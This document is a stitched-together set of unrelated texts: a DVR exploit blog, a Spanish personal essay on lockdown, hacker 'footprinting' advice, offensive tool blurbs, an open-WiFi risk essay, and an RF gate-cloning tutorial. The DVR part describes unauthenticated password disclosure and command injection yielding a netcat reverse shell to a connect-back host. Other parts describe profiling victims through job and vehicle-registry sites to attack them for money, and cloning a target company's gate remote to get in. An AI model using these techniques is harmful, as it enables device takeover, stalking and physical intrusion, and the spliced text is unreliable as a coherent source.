"Swan song" is a metaphorical phrase for a final gesture, effort, or performance given just before death or retirement. This post serves as the "swan song" for a whole slew of DVR security systems. With that being said, I will refer to the lyrical master MC Hammer, lets turn this mutha' out.
I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)
After opening the device up something grabbed my attention right away....
The highlighted header looked like a pretty good possibility for a serial port, time to break out the multi-meter and check. After a couple power cycles, the header was indeed a serial port :)
After hooking up my usb to serial breakout board to the device serial port and guessing at the following serial settings: 115200 8-N-1 , I was stuck looking at a login prompt without a working login or password.
Lucky for me the device startup can be reconfigured using the u-boot environment. The environment variable "bootargs" can be adjusted to boot the linux system into single user mode by appending "single" to the end of the existing settings:
setenv bootargs mem=68M console=ttyAMA0,115200 root=1f01 rootfstype=jffs2 mtdparts=physmap-flash.0:4M(boot),12M(rootfs),14M(app),2M(para) busclk=220000000 single
This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable "bootdcmd".
Once the device is booted up in single user mode, the root password can be reset and the device can be rebooted. Telnet now works, but what fun is that when these devices don't normally expose telnet to the internet :). Now for the real fun...looking at the device the default configuration is setup to auto-magically use the power of the dark lord satan (uPnP) to map a few ports on your router (if it supports uPnP). One of the ports that it will expose is for the web (activeX) application and the other is the actual comms channel the device uses (port 9000). The first item I looked at was the web application that is used to view the video streams remotely and configure the device. The first thing that I found with this lovely device is that the comms channel (9000) did not appear to do any authentication on requests made to it...Strike 1. I imagine the activeX application that is used to connect to the device could be patched to just skip the login screen, but that seems like a lot of work, especially when there are much easier ways in. The next thing I saw was a bit shocking...when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password. In clear text. Strike 2. I created a small PoC in python that will pull the password from a vulnerable device:
After owning the device at the "application" level, I figured it was time to go deeper.
Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:
"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)
Usage: sploit.py <target> <connectback host> <connectback port> $ python sploit.py 192.168.10.69 192.168.10.66 9999 [*]Sending Stage 1 [*]Sending Stage 2 [*]Rebooting the server with crash.... Ncat: Version 5.21 ( http://nmap.org/ncat ) Ncat: Listening on 0.0.0.0:9999
Strike 3, get this weak shit off my network. The script can be found here. The script relies on the web application running on port 80, this is not always the case so you may need to adjust the script to fix if your device listens on another port. It is also worth noting that it may take a few minutes for the device to reboot and connect back to you.
Unfortunately the web server that runs on this device does not behave correctly (no response headers) so I do not believe finding these online is as easy as searching shodan, however it is possible to fingerprint vulnerable devices by looking for hosts with port 9000 open.
tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.
El café sabe amargo en mi taza de Winnie The Pooh. Podría haberle echado más azúcar, pero quiero que esté así, amargo. Cercano a como es en realidad. Cuando te vas haciendo mayor disfrutas más las cosas amargas. Las cosas que te traen un sabor a la boca menos dulce. Parece que disfrutas más de los matices menos camuflados de la existencia. Son más reales.
Figura 1: Confinamiento
El café sabe amargo, ya os lo he dicho. Podría haber elegido una taza de café "normal", pero entonces no cabría tanto. Y no quiero vivir la vida a sorbos. Y tampoco soy de pensar que solo hay una forma de hacer las cosas de manera "normal". Nunca lo he sido. Me gusta pensar que eso no es ser hacker. También podría haber sacado una taza de Star Wars, de las grandes, pero esas son de mi colección.
Me apego a recuerdos. A mis pequeñas cosas que cuando las miro con la realidad aumentada de mi mirada están llenas de historias vivas que danzan frente a mis ojos. En 3D. Con música envolvente. Son casa. Son refugio. Me gusta alejarme un poco de ellos para crear nuevos recuerdos. Solo un poco. Para volver a disfrutarlos más. Y los objetos y recuerdos que vienen conmigo son yo. Son parte de mí, fueran dulces o amargos.
El café sabe amargo, pero no es intenso. Me gusta americano. Largo de agua. Aguachirri. Como lo pido siempre cuando quiero café. Sin leche. Largo como mi jornada laboral. Largo y amargo. Largo como mi pasado. Largo, espero, como mi futuro. Para sentir la experiencia durante más tiempo. Solo un poco más. Nada dura para siempre salvo en la memoria donde el tiempo se pliega. Como en la película esa de "Origen". Un sueño dentro de otro. Recursivo como los algoritmos. No se acaba. Ni lo dulce ni lo amargo. Pero el sabor del café es amargo. Y no quiero vestirlo de algo dulcificado echando mucha azúcar. Un poco para hacerlo más llevadero, puede, pero no mucho más maquillaje. Quiero sentir las cosas como son. Que duelan si tienen que doler. Que amarguen si tienen que amargar.
Mis ojos ya no son lo que eran. Están más cansaditos. Empiezan a pedir tregua de tanta lectura. De tantas letras en pantallas. De tantos mensajes que releí. De tantas y tantas hojas luchando contra mis párpados. De mi cerebro ávido por captar más de todo lo que se ve y lo que no se ve. De tantas luces en aventuras galácticas. Series de superhéroes. O de zombies que decoran el paisaje o antihéroes que van a acabar mal porque toman malas decisiones constantemente intentando avanzar. O porque la serie ya comenzó en un psiquiátrico como declaración de intenciones de lo que nos esperaba por delante.
Mis ojos ya no son lo que eran. Me piden ayuda. Mis ojos. Y se la doy a dosis pequeñas. No quiero que se acomoden. Aún no. Quiero que peleen por descifrar el mundo con sus propias herramientas. Pero de vez en cuando los consuelo. Les echo un poco de azúcar. Dejo que se acunen sobre el cristal de unas lupas de lectura. Para que aguanten más. Para que me descifren el mundo unos minutos más antes de caer rendido en la negrura de la noche.
El día es gris. Igual que ayer. Igual que el otro domingo que hizo buen día. Lo veo desde aquí. Mi sitio es el mismo que llevo ocupando durante este último mes y algo. Un rincón de la existencia con una ventana por la que veo solo un poquito del mundo analógico cuando mi foco se relaja. Solo una esquina de la vida. Por la que miro mientras me amargo mi paladar con el sabor del café. Con las gafas puestas para leer esa presentación con números y letras pequeñitas. Es mi vida. Casi enteramente mi vida es esto ahora.
El día es grande. O será que yo me siento pequeño. Como seguro que te sientes tú. Porque es como si me escondiera. Me siento un poco azul. No. No lo tomes mal. No me disgusta el color. Ni el gris ni el azul. La vida no es solo sol. La vida no es solo color amarillo. No solo luz. El azul es bonito también. Me gusta su olor. Su tacto. Y acurrucarme un rato con una de mis muchas bolitas azules. Esas que tengo en la estantería. Cojo una un rato. Me abrazo a ella. Retozo en mi sofá acurrucándola. O mirando al cielo con mi taza de Winnie The Pooh.
Mi cerebro vuela. Por el cielo. Sé que pronto saldré a jugar con las bolas amarillas. Sé que volveré a salir al parque a jugar con mis amigos. A gritar. A dar abrazos y besos. A ver un partido de fútbol. A ir a escuchar a los poetas rasgar sus guitarras. A sudar. A escuchar los gritos. A pegar los chillidos. A destrozar las canciones por no saber cantar. A mezclar el rojo con el amarillo. A mezclar el amarillo con el azul. A trepar por el monte con mi bicicleta cual motivado. A escuchar la música mientras vagabundeo en soledad por el mundo. Ese al que solo viajo yo. Por otros países. A irme a retozar con Morfeo sin tener que pelear por ello. Correr a sus brazos sin hacer cola en la frontera.
Mis palabras se amontonan. Están ahí. Guardadas. Para ti. Para las cenas. Para las charlas. Para las confesiones. Para los reencuentros. Para cuando las quieras oír. Para cuando las puedas escuchar de mi voz. Para que no sea algo digitalizado. Para que sea el sonido que emito con mis cuerdas vocales directamente. Ese que conecta directo con el motor de mi cuerpo. Ese que escribe cosas que nadie lee. Que nadie escucha. Que nadie le dicta. El inventor de los sentimientos. El pintor de las bolitas.
Mis caricias te extrañan. En los confines de mis dedos. Las noto palpitar cuando golpeo con suavidad las teclas de mi teclado. Cuando escribo algo para nadie. Pidiendo salir. Pidiendo espacio para ellas. Para que no duelan los dedos al final del día por el repiquetear constante. Para que el cansancio no sea solo mecánico sino también cuántico. Para que los dedos se muevan como olas al compás de dunas de ese desierto inmenso en soledad que queda por recorrer. Una vez más. Lentas. Eléctricas. Quemando. Como un calambre que sube por mis antebrazos y enciende el tatuaje imaginario de las llamas que nunca me hice.
La vida sigue escribiendo grietas en mi cara con tinta indeleble. En los surcos de mi piel. Donde guardo lo importante. Las risas. Los recuerdos. Los anhelos. Los planes inconclusos. Los conclusos. Con todos los metadatos. Con los recuerdos que he querido convertir en yo. En casa. Lo mejor de historia, de física y química. De arte. O incluso de filosofía sobre la vida que iba a tener pero que nunca tuve.
Mi pasado se perdió en este futuro. Porque de los mil caminos del multiverso el premio cayó en otra línea temporal. Porque la banda cambió el setlist por el camino. Porque fallé el pie de una estrofa. Porque no afinamos la canción en el mismo tempo. O porque mi diapasón se rompió por usarlo tanto a tanta velocidad. Y cada día puedo leerlos con más intensidad. Cuando me miro al espejo. Las canciones que salieron al final para el elepé son las que tengo escritas en mis arrugas. Pero aún me queda discografía que componer. Ouh, yeah!
Mis huesos me gritan. Cuando subo o bajo una escalera. Cuando recuerdo los golpes en la cadera al caerme de los patines. Cuando me levanto de la silla para preguntarle al sol qué hora es. Cuando pienso en todas las veces que necesito caerme aún. Cuando me veo volando sobre una tabla. Cuando recuerdo la negrura que viene tras la rampa. Cuando me despierto de la oscuridad y me están cosiendo la cabeza. Con sangre en los ojos. Cuando pienso en que el dolor no existe cuando el golpe es suficiente certero como para abrirte la cabeza. Y te quedas en calma para siempre. Mis huesos malvados me gritan. A veces bajito. Otras como lo hago yo cuando necesito quemar energía. O echar fuera todo.
Mi alma no te ve. No sabe donde estás. No sabe dónde te escondes. Donde se mete la gente cuando se acaba la conferencia. Donde te vas cuando acabo mi charla. Cuando me quito el gorro. Cuando ya no tengo el micrófono conectado. Cuando las fotos se acabaron. Donde estas ahora que mi mundo es este café amargo. Esta ventana analógica al mundo. Este sorbo tan pequeño de lo que es vivir. Donde todos los recuerdos bonitos de este confinamiento son solo terciopelo.
Mi televisión llora. Cuando da las noticias. Cuando dan números y números. Curvas. Gráficas. Tendencias. Nunca pensé que las matemáticas pudieran ser tan dolorosas. Cuando yo me presentaba a subir nota en matemáticas si sacaba menos de un notable. Y tengo que limpiar la pantalla con un pañuelo. Porque si no limpias las lágrimas se enraízan y ya no salen como el rocío. Y se congelan. Y el hielo corta los órganos blandos del interior. Los que están cerca de tu corazón.
Solo queda batirse. Y resistir. Y volver al mundo que está ahí fuera. Al círculo de tus brazos. Al calor de esa botella de vino. A abrazar a mi mamá con fuerza. A celebrar los cumpleaños, los santos, los acontecimientos que nos hemos saltado. A caerse al suelo y hacerse una herida en la rodilla tropezándose al correr lejos, muy lejos. A abollar el mundo saltando. A tumbarse exhausto al descender de la bicicleta por el calor, y meterse en una fuente para refrescarse del calor. A sentir cómo se te cuartea la piel con el aire y el sol de la montaña. A bucear buscando peces en mar. A chocar unas cervezas al aire con unos amigos en la barbacoa.
WHAT IS FOOTPRITING AND INFORMATION GATHERING IN HACKING? Footpriting is the technique used for gathering information about computer systems and the entities they belongs too. To get this information, a hacker might use various tools and technologies.
Basically it is the first step where hacker gather as much information as possible to find the way for cracking the whole system or target or atleast decide what types of attacks will be more suitable for the target. Footpriting can be both passive and active. Reviewing a company's website is an example of passive footprinting, whereas attempting to gain access to sensititve information through social engineering is an example of active information gathering. During this phase hacking, a hacker can collect the following information>- Domain name -IP Addresses -Namespaces -Employee information -Phone numbers -E-mails Job information Tip-You can use http://www.whois.com/ website to get detailed information about a domain name information including its owner,its registrar, date of registration, expiry, name servers owner's contact information etc. Use of Footprinting & Information Gathering in People Searching- Now a days its very easy to find anyone with his/her full name in social media sites like Facebook, Instragram,Twitter,Linkdedin to gather information about date of birth,birthplace, real photos, education detail, hobbies, relationship status etc. There are several sites like PIPL,PeekYou, Transport Sites such as mptransport,uptransport etc and Job placement Sites such as Shine.com,Naukari.com , Monster.com etc which are very useful for hacker to collect information about anyone. Hacker collect the information about you from your Resume which you uploaded on job placement site for seeking a job as well as hacker collect the information from your vehicle number also from transport sites to know about the owner of vehicle, adderess etc then after they make plan how to attack on victim to earn money after know about him/her from collecting information.
INFORMATION GATHERING-It is the process of collecting the information from different places about any individual company,organization, server, ip address or person. Most of the hacker spend his time in this process.
Information gathering plays a vital role for both investigating and attacking purposes.This is one of the best way to collect victim data and find the vulnerability and loopholes to get unauthorized modifications,deletion and unauthorized access.
CLOUDKiLL3R bypasses Cloudflare protection service via TOR Browser ! CLOUDKiLL3R Requirements :
TOR Browser to scan as many sites as you want :)
Python Compiler
CLOUDKiLL3R Installation ? Make sure that TOR Browser is up and running while working with CLOUDKiLL3R . Make sure that the IP AND PORT are the same in TOR Browser preferences > advanced > Networks Include the files below in one folder :
FILTER.txt
CK.pl
Make Sure The Modules Below Are Installed If NOT > use this command to install one : pip install [module name]
Sub-domain takeover vulnerability occur when a sub-domain (subdomain.example.com) is pointing to a service (e.g: GitHub, AWS/S3,..) that has been removed or deleted. This allows an attacker to set up a page on the service that was being used and point their page to that sub-domain. For example, if subdomain.example.com was pointing to a GitHub page and the user decided to delete their GitHub page, an attacker can now create a GitHub page, add a CNAME file containing subdomain.example.com, and claim subdomain.example.com. For more information: here Installation:
# git clone https://github.com/m4ll0k/takeover.git # cd takeover # python takeover.py
Whenever security professionals recommend the 5 most important IT security practices to average users, one of the items is usually something like: "Avoid using open Wifi" or "Always use VPN while using open WiFi" or "Avoid sensitive websites (e.g. online banking) while using open WiFI", etc.
What I think about this? It is bullshit. But let's not jump to the conclusions. Let's analyze all risks and factors here.
During the following analysis, I made two assumptions. The first one is that we are comparing public WiFi hotspots with no encryption at all (referred to as Open), and we compare this to public WiFi hotspots with WPA2-PSK (and just hope WEP died years before). The other assumption is there are people who are security-aware, and those who just don't care. They just want to browse the web, access Facebook, write e-mails, etc.
The risks
Let's discuss the different threats people face using public hotspots, compared to home/work internet usage:
1.Where the website session data is not protected with SSL/TLS (and the cookie is not protected with secure flag), attackers on the same hotspot can obtain the session data and use it in session/login credentials stealing. Typical protocols affected:
HTTP sites
HTTPS sites but unsecured cookie
FTP without encryption
IMAP/SMTP/POP3 without SSL/TLS or STARTTLS
2.Attackers can inject extra data into the HTTP traffic, which can be used for exploits, or social engineer attacks (e.g. update Flash player with our malware) – see the Dark Hotel campaign
3.Attackers can use tools like SSLStrip to keep the user's traffic on clear text HTTP and steal password/session data/personal information
4.Attackers can monitor and track user activity
5.Attackers can directly attack the user's machine (e.g. SMB service)
WPA2-PSK security
So, why is a public WPA2-PSK WiFi safer than an open WiFi? Spoiler alert: it is not!
In a generic public WPA2-PSK scenario, all users share the same password. And guess what, the whole traffic can be decrypted with the following information: SSID + shared password + information from the 4-way handshake. https://wiki.wireshark.org/HowToDecrypt802.11
If you want to see it in action, here is a nice tutorial for you
Any user having access to the same WPA2-PSK network knows this information. So they can instantly decrypt your traffic. Or the attackers can just set up an access point with the same SSID, same password, and stronger signal. And now, the attacker can instantly launch active man-in-the-middle attacks. It is a common belief (even among ITSEC experts) that WPA2-PSK is not vulnerable to this attack. I am not sure why this vulnerability was left in the protocol, if you have the answer, let me know. Edit (2015-08-03): I think the key message here is that without server authentication (e.g. via PKI), it is not possible to solve this.
Let me link here one of my previous posts here with a great skiddie tool:
Decrypt all HTTP/FTP/IMAP/SMTP/POP3 passwords or other sensitive information
Can launch active attacks like SSLStrip, or modify HTTP traffic to include exploit/social engineer attacks
Can monitor/track user activity
The only difference between open and WPA2-PSK networks is that an open network can be hacked with an attacker of the skill level of 1 from 10, while the WPA2-PSK network needs and an attacker with a skill level of 1.5. That is the difference.
The real solutions
1.Website owners, service providers should deploy proper (trusted) SSL/TLS infrastructure, protect session cookies, etc. Whenever a user (or security professional) notices a problem with the quality of the service (e.g. missing SSL/TLS), the service provider has to be notified. If no change is made, it is recommended to drop the service provider and choose a more secure one. Users have to use HTTPS Everywhere plugin.
2.Protect the device against exploits by patching the software on it, use a secure browser (Chrome, IE11 + enhanced protection), disable unnecessary plugins (Java, Flash, Silverlight), or at least use it via click-to-play. Also, the use of exploit mitigations tools (EMET, HitmanPro Alert, Malwarebytes AntiExploit) and a good internet security suite is a good idea.
3.Website owners have to deploy HSTS, and optionally include their site in an HSTS preload list
4.Don't click blindly on fake downloads (like fake Flash Player updates)
5.The benefits of a VPN is usually overestimated. A VPN provider is just another provider, like the hotspot provider, or the ISP. They can do the same malicious stuff (traffic injecting, traffic monitoring, user tracking). Especially when people use free VPNs. And "Average Joe" will choose a free VPN. Also, VPN connections tend to be disconnected, and almost none of the VPN providers provide fail secure VPNs. Also, for the price of a good VPN service you can buy a good data plan and use 4G/3G instead of low-quality public hotspots. But besides this, on mobile OSes (Android, iOS, etc.) I strongly recommend the use of VPN, because it is not practically feasible to know for users which app is using SSL/TLS and which is not.
6.Use a location-aware firewall, and whenever the network is not trusted, set it to a Public.
7.In a small-business/home environment, buy a WiFi router with guest WiFi access possibility, where the different passwords can be set to guest networks than used for the other.
Asking the question "Are you using open WiFi?", or "Do you do online banking on open WiFi?" are the wrong questions. The good questions are:
Do you trust the operator(s) of the network you are using?
Are the clients separated?
If clients are not separated, is it possible that there are people with malicious intent on the network?
Are you security-aware, and are you following the rules previously mentioned? If you do follow these rules, those will protect you on whatever network you are.
And call me an idiot, but I do online banking, e-shopping, and all the other sensitive stuff while I'm using open WiFi. And whenever I order pizza from an HTTP website, attackers can learn my address. Which is already in the phone book, on Facebook, and in every photo metadata I took with my smartphone about my cat and uploaded to the Internet (http://iknowwhereyourcatlives.com/).
Most articles and research publications are full of FUD about what people can learn from others. Maybe they are just outdated, maybe they are not. But it is totally safe to use Gmail on an open WiFi, no one will be able to read my e-mails.
PS: I know "Average Joe" won't find my blog post, won't start to read it, won't understand half I wrote. But even if they do, they won't patch their browser plugins, pay for a VPN, or check the session cookie. So they are doomed to fail. That's life. Deal with it.
Bob was tasked to break into XYZcorporation, so he pulled up the facility on google maps to see what the layout was. He was looking for any possible entry paths into the company headquarters. Online maps showed that the whole facility was surrounded by a security access gate. Not much else could be determined remotely so bob decided to take a drive to the facility and get a closer look.
Bob parked down the street in view of the entry gate. Upon arrival he noted the gate was un-manned and cars were rolling up to the gate typing in an access code or simply driving up to the gate as it opening automatically.Interestingly there was some kind of wireless technology in use.
How do we go from watching a car go through a gate, to having a physical device that opens the gate?
We will take a look at reversing a signal from an actual gate to program a remote with the proper RF signal.Learning how to perform these steps manually to get a better understanding of how RF remotes work in conjunction with automating processes with RFCrack.
In the the previous blogs, we sniffed signals and replayed them to perform actions. In this blog we are going to take a look at a signal and reverse it to create a physical device that will act as a replacement for the original device. Depending on the scenario this may be a better approach if you plan to enter the facility off hours when there is no signal to capture or you don't want to look suspicious.
Recon:
Lets first use the scanning functionality in RFCrack to find known frequencies. Weneed to understand the frequencies that gates usually use. This way we can set our scanner to a limited number of frequencies to rotate through. The smaller rage of frequencies used will provide a better chance of capturing a signal when a car opens the target gate. This would be beneficial if the scanning device is left unattended within a dropbox created with something like a Kali on a Raspberry Pi. One could access it from a good distance away by setting up a wifi hotspot or cellular connection.
Based on research remotes tend to use 315Mhz, 390Mhz, 433Mhz and a few other frequencies. So in our case we will start up RFCrack on those likely used frequencies and just let it run. We can also look up the FCID of our clicker to see what Frequencies manufactures are using. Although not standardized, similar technologies tend to use similar configurations. Below is from the data sheet located at https://fccid.io/HBW7922/Test-Report/test-report-1755584 which indicates that if this gate is compatible with a universal remote it should be using the 300,310, 315, 372, 390 Frequencies. Most notably the 310, 315 and 390 as the others are only on a couple configurations.
RFCrack Scanning:
Since the most used ranges are 310, 315, 390 within our universal clicker, lets set RFCrack scanner to rotate through those and scan for signals.If a number of cars go through the gate and there are no captures we can adjust the scanner later over our wifi connection from a distance.
Currently Scanning: 433000000 To cancel hit enter and wait a few seconds
Example of logging output:
From the above output you will see that a frequency was found on 390. However, if you had left this running for a few hours you could easily see all of the output in the log file located in your RFCrack/scanning_logs directory.For example the following captures were found in the log file in an easily parseable format:
Analyzing the signal to determine toggle switches:
Ok sweet, now we have a valid signal which will open the gate. Of course we could just replay this and open the gate, but we are going to create a physical device we can pass along to whoever needs entry regardless if they understand RF. No need to fumble around with a computer and look suspicious.Also replaying a signal with RFCrack is just to easy, nothing new to learn taking the easy route.
The first thing we are going to do is graph the capture and take a look at the wave pattern it creates. This can give us a lot of clues that might prove beneficial in figuring out the toggle switch pattern found in remotes. There are a few ways we can do this. If you don't have a yardstick at home you can capture the initial signal with your cheap RTL-SDR dongle as we did in the first RF blog. We could then open it in audacity. This signal is shown below.
Let RFCrack Plot the Signal For you:
The other option is let RFCrack help you out by taking a signal from the log output above and let RFCrack plot it for you.This saves time and allows you to use only one piece of hardware for all of the work.This can easily be done with the following command:
From the graph output we see 2 distinct crest lengths and some junk at either end we can throw away. These 2 unique crests correspond to our toggle switch positions of up/down giving us the following 2 possible scenarios using a 9 toggle switch remote based on the 9 crests above:
Possible toggle switch scenarios:
down down up up up down down down down
up up down down down up up up up
Configuring a remote:
Proper toggle switch configuration allows us to program a universal remote that sends a signal to the gate. However even with the proper toggle switch configuration the remote has many different signals it sends based on the manufacturer or type of signal.In order to figure out which configuration the gate is using without physically watching the gate open, we will rely on local signal analysis/comparison.
Programming a remote is done by clicking the device with the proper toggle switch configuration until the gate opens and the correct manufacturer is configured. Since we don't have access to the gate after capturing the initial signal we will instead compare each signal from he remote to the original captured signal.
Comparing Signals:
This can be done a few ways, one way is to use an RTLSDR and capture all of the presses followed by visually comparing the output in audacity. Instead I prefer to use one tool and automate this process with RFCrack so that on each click of the device we can compare a signal with the original capture. Since there are multiple signals sent with each click it will analyze all of them and provide a percent likelihood of match of all the signals in that click followed by a comparing the highest % match graph for visual confirmation. If you are seeing a 80-90% match you should have the correct signal match.
Note:Not every click will show output as some clicks will be on different frequencies, these don't matter since our recon confirmed the gate is communicating on 390Mhz.
In order to analyze the signals in real time you will need to open up your clicker and set the proper toggle switch settings followed by setting up a sniffer and live analysis with RFCrack:
Open up 2 terminals and use the following commands:
#Setup a sniffer on 390mhz Setup sniffer:python RFCrack.py -k -c -f 390000000.
#Monitor the log file, and provide the gates original signal Setup Analysis: python RFCrack.py -c -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c -n.
Cmd switches used
-k = known frequency
-c = compare mode
-f = frequency
-n = no yardstick needed for analysis
Make sure your remote is configured for one of the possible toggle configurations determined above. In the below example I am using the first configuration, any extra toggles left in the down position: (down down up up up down down down down)
Analyze Your Clicks:
Now with the two terminals open and running click the reset switch to the bottom left and hold till it flashes. Then keep clicking the left button and viewing the output in the sniffing analysis terminal which will provide the comparisons as graphs are loaded to validate the output.If you click the device and no output is seen, all that means is that the device is communicating on a frequency which we are not listening on.We don't care about those signals since they don't pertain to our target.
At around the 11th click you will see high likelihood of a match and a graph which is near identical. A few click outputs are shown below with the graph from the last output with a 97% match.It will always graph the highest percentage within a click.Sometimes there will be blank graphs when the data is wacky and doesn't work so well. This is fine since we don't care about wacky data.
You will notice the previous clicks did not show even close to a match, so its pretty easy to determine which is the right manufacture and setup for your target gate. Now just click the right hand button on the remote and it should be configured with the gates setup even though you are in another location setting up for your test.
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.05
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.12
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.20
Percent Chance of Match for press is: 0.19
Percent Chance of Match for press is: 0.25
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.97
Percent Chance of Match for press is: 0.90
Percent Chance of Match for press is: 0.88
Percent Chance of Match for press is: 0.44
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
Graph Comparison Output for 97% Match:
Conclusion:
You have now walked through successfully reversing a toggle switch remote for a security gate. You took a raw signal and created a working device using only a Yardstick and RFCrack.This was just a quick tutorial on leveraging the skillsets you gained in previous blogs in order to learn how to analyzeRF signals within embedded devices. There are many scenarios these same techniques could assist in.We also covered a few new features in RF crack regarding logging, graphing and comparing signals.These are just a few of the features which have been added since the initial release. For more info and other features check the wiki.
